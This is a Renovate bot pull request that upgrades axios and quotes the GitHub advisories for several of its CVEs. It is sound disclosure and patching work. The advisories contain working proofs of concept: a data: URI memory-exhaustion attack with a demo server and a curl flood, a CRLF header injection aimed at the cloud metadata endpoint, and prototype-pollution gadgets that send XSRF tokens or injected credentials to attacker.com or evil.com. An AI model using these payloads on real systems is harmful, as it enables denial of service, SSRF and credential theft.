fix(deps): update dependency axios to v1.18.0 [security] by renovate[bot] · Pull Request #2483 · RealDevSquad/website-backend

renovate · 2025-09-13T23:42:33Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.4` → `1.18.0`

Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it

Proof of Concept

import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

CVE-2026-42042 / GHSA-xx6v-rp6x-q39c

More information

Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations:

Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 5.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
Code execution: Attacker-supplied functions execute during HTTP redirects.
Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

